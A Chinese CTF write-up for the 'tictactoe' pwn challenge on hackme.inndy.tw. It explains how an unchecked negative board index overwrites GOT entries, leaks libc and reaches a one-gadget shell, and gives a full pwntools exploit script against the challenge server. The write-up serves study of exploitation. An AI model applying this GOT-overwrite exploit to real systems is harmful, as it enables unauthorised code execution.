https://hackme.inndy.tw/scoreboard/ 題目很有趣,我做了tictactoe這個題目感覺還不錯,我把wp分享出來,方便大家學習
tictactoe的題目要求是:
nc hackme.inndy.tw 7714
Can you beat my tic-tac-toe AI?
把tictactoe直接拖入ida中:
main函數:
computerMove函數:
draw函數:
playerMove函數:
win函數:
print_result函數:
input函數:
這個題目挺複雜的,但是在反編譯的地方我找到一個題目的源碼在:https://gist.github.com/MatthewSteel/3158579,這個題目就是由這個遊戲修改而成
先運行一下程序看一下這個程序幹了啥:
這個程序輸入9的時候可以輸入改變的數字,輸入其他數字可以把輸入的數字放入指定的位置
再看看程序開啓了哪些保護:
這個題目開了棧不可執行和canary保護,所以不可能是棧溢出
這個程序的漏洞點是在:playerMove函數裏面,由於輸入的數字沒有任何限制,所以可以輸入負數覆蓋0x804B056之前的數字,在地址0x804B056之前由got表,所以可以修改got表中的內容來改變程序的流程,但是這個程序如果改變got表中的內容的話就只有三次機會,每次只能修改一個字節,然後就會判斷你失敗,最後強行退出程序,由於Linux動態運行庫會延遲綁定,這個可以參考 http://blog.csdn.net/virtual_func/article/details/48789947 下面是getshell的過程:
(1)通過兩次修改把memset@got的後兩位地址改成0x08048BD5,也就是反編譯中的main函數的第37行調用playerMove函數的地址,這樣就使整個程序變成一個循環
(2)利用循環修改open函數爲:printf("Here is your flag: %s\n", buf);
的地址,也就是0x08048CB4這個位置,目的是爲了泄露libc的基地址
(3)利用循環把exit函數改成main函數的第37行調用playerMove函數的地址,目的是爲了在泄露libc基地址後,再計算MAGIC,之後跳轉到大循環中
(4)上面的open函數和exit函數修改完成之後,只要把0x804B04D中數據改成ff ff ff,就可以贏得遊戲,程序就會運行到讀flag的地方,也就可以運行你佈置好的流程,通過這個循環獲取到MAGIC地址後再跳到main函數的第37行調用playerMove函數的地址
(5)通過playerMove函數修改0x804B04D中數據改成ff 01 ff 使win判斷失敗,繼續進入到大循環中
(6)再大循環中把open@got指針改成exit(0);的地址,也就是0x08048CF2,把exit@got改成MAGIC的地址
(7)把0x804B04D中數據改成ff ff ff,再次贏得遊戲,就可以getshell了
下面是我的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import sys
from termios import tcflush, TCIFLUSH
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC = 0x3AC69 #locallibc
remoteMAGIC = 0x3ac49 #remotelibc #libc6_2.23-0ubuntu3_i386.so
def debug(addr = '0x08048CF2'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
def input_number(number):
io.recv(timeout=5)
io.sendline('9')
#tcflush(sys.stdin, TCIFLUSH)
io.send(number)
time.sleep(1)
sys.stdout.flush()
#tcflush(sys.stdin, TCIFLUSH)
def input_addr(addr):
io.recvuntil('Input move (9 to change flavor): ',timeout=5)
io.sendline(addr)
sys.stdout.flush()
#time.sleep(1)
#tcflush(sys.stdin, TCIFLUSH)
elf = ELF('/home/h11p/hackme/tictactoe')
#io = process('/home/h11p/hackme/tictactoe')
io = remote('hackme.inndy.tw', 7714)
#debug()
io.recvuntil('Play (1)st or (2)nd? ')
io.sendline('1')
#change memset to loop
input_number(p32(0xd5))
input_addr('-34')
input_number(p32(0x8b))
input_addr('-33')
#change open to printf_flag
input_number(p32(0xb4))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')
#change exit to loop
input_number(p32(0xd5))
input_addr('-46')
input_number(p32(0x8b))
input_addr('-45')
input_number(p32(0x04))
input_addr('-44')
input_number(p32(0x08))
input_addr('-43')
#success get flag
input_number(p32(0xff))
input_addr('-9')
input_number(p32(0xff))
input_addr('-8')
input_number(p32(0xff))
input_addr('-7')
#leak libc_base
libc_leak=io.recv(timeout=5).splitlines()[1][19:23]
libc_leak=u32(libc_leak)
print hex(libc_leak)
libc_base=libc_leak-0x3f12
print "libc_base:"+hex(libc_base)
#MAGIC_addr=libc_base+localMAGIC
MAGIC_addr=libc_base+remoteMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
#unsuccess get flag
input_number(p32(1))
input_addr('-8')
#change open to exit
input_number(p32(0xce))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')
#change exit to MAGIC_addr
Bytes_MAGIC_addr=bytearray.fromhex(hex(MAGIC_addr)[2:])
exit_addr=-46
for i in Bytes_MAGIC_addr[::-1]:
input_number(p32(i))
input_addr(str(exit_addr))
exit_addr=exit_addr+1
#success get flag
input_number(p32(0xff))
input_addr('-8')
io.interactive()
#io.recv()
效果是:
Ps:打遠程會經常斷,要試幾次